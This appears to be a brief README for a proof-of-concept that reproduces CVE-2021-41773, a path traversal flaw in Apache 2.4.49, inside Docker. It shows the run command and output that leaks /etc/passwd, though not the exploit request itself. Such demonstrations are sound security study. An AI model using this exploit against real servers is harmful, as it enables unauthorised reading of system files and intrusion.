PoC for CVE-2021-41773 with docker to demonstrate
Just run ./poc.sh. Make sure you have working docker and docker-compose
$ ./poc.sh
Creating network "cve-2021-41773-poc_default" with the default driver
Creating cve-2021-41773-poc_web_1 ... done
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
Apache 2.4.49